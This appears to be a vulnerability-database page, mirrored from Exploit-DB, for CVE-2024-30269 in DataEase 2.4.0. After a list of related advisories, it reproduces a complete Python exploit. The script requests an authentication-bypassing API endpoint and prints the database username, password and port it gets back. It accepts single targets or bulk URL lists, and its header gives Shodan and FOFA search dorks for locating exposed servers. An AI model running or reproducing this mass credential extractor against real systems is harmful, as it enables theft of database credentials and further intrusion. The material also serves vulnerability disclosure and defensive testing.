Lucene search
+L

DataEase 2.4.0 - Database Configuration Information Exposure

🗓️ 06 Apr 2025 00:00:00Reported by ByteHunterType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 380 Views

DataEase 2.4.0 exposes database credentials via exploitable API endpoint; vulnerability checked through script.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2024-30269
14 Feb 202510:05
circl
cnnvd
CNNVD
DataEase 安全漏洞
8 Apr 202400:00
cnnvd
cnvd
CNVD
Unspecified Vulnerability in DataEase (CNVD-2024-20785)
10 Apr 202400:00
cnvd
cve
CVE
CVE-2024-30269
8 Apr 202414:19
cve
cvelist
Cvelist
CVE-2024-30269 DataEase has database configuration information exposure vulnerability
8 Apr 202414:19
cvelist
nuclei
Nuclei
DataEase <= 2.4.1 - Sensitive Information Exposure
24 Aug 202605:53
nuclei
nvd
NVD
CVE-2024-30269
8 Apr 202415:15
nvd
packetstorm
Packet Storm
📄 DataEase 2.4.0 Information Disclosure
7 Apr 202500:00
packetstorm
ptsecurity
Positive Technologies
PT-2024-23310 · Dataease · Dataease
8 Apr 202400:00
ptsecurity
redhatcve
RedhatCVE
CVE-2024-30269
23 May 202510:09
redhatcve
Rows per page
# Exploit Title: DataEase 2.4.0 - Database Configuration Information Exposure
# Shodan Dork: http.html:"dataease"                           #
# FOFA Dork: body="dataease" && title=="DataEase"             #
# Exploit Author: ByteHunter                                  #
# Email: [email protected]                               #
# vulnerable Versions: 2.4.0-2.5.0                            #
# Tested on: 2.4.0                                            #
# CVE : CVE-2024-30269                                        #
############################                                   #
################################################################

import argparse
import requests
import re
import json
from tqdm import tqdm

def create_vulnerability_checker():
    vulnerable_count = 0

    def check_vulnerability(url):
        nonlocal vulnerable_count
        endpoint = "/de2api/engine/getEngine;.js"
        full_url = f"{url}{endpoint}"
        headers = {
            "Host": url.split('/')[2],
            "Accept-Encoding": "gzip, deflate, br",
            "Accept": "*/*",
            "Accept-Language": "en-US;q=0.9,en;q=0.8",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36",
            "Connection": "close",
            "Cache-Control": "max-age=0"
        }

        try:
            response = requests.get(full_url, headers=headers, timeout=5)
            if response.status_code == 200:
                try:
                    json_data = response.json()
                    config = json_data.get("data", {}).get("configuration", None)

                    if config:
                        config_data = json.loads(config)

                        username = config_data.get("username")
                        password = config_data.get("password")
                        port = config_data.get("port")

                        if username and password:
                            vulnerable_count += 1
                            print(f"Vulnerable: {full_url}")
                            print(f"Username: {username}")
                            print(f"Password: {password}")
                            if port is not None:
                                print(f"Port Number: {port}")

                except (json.JSONDecodeError, KeyError):
                    print(f"Invalid JSON response from {full_url}")

        except requests.RequestException:
            pass

        return vulnerable_count

    return check_vulnerability

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-30269 DataEase Database Creds Extractor")
    parser.add_argument('-u', '--url', type=str, help='Single target')
    parser.add_argument('-l', '--list', type=str, help='URL File List')
    args = parser.parse_args()

    check_vulnerability = create_vulnerability_checker()

    if args.url:
        check_vulnerability(args.url)
    elif args.list:
        try:
            with open(args.list, 'r') as file:
                urls = [url.strip() for url in file.readlines() if url.strip()]
            total_urls = len(urls)
            for url in tqdm(urls, desc="Processing URLs", unit="url"):
                check_vulnerability(url)
               # tqdm.write(f"Vulnerable Instances: {check_vulnerability(url)}/{total_urls}")
        except FileNotFoundError:
            print(f"File not found: {args.list}")
    else:
        print("provide a URL with -u or a file with -l.")

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Apr 2025 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.15.3
EPSS0.15875
SSVC
380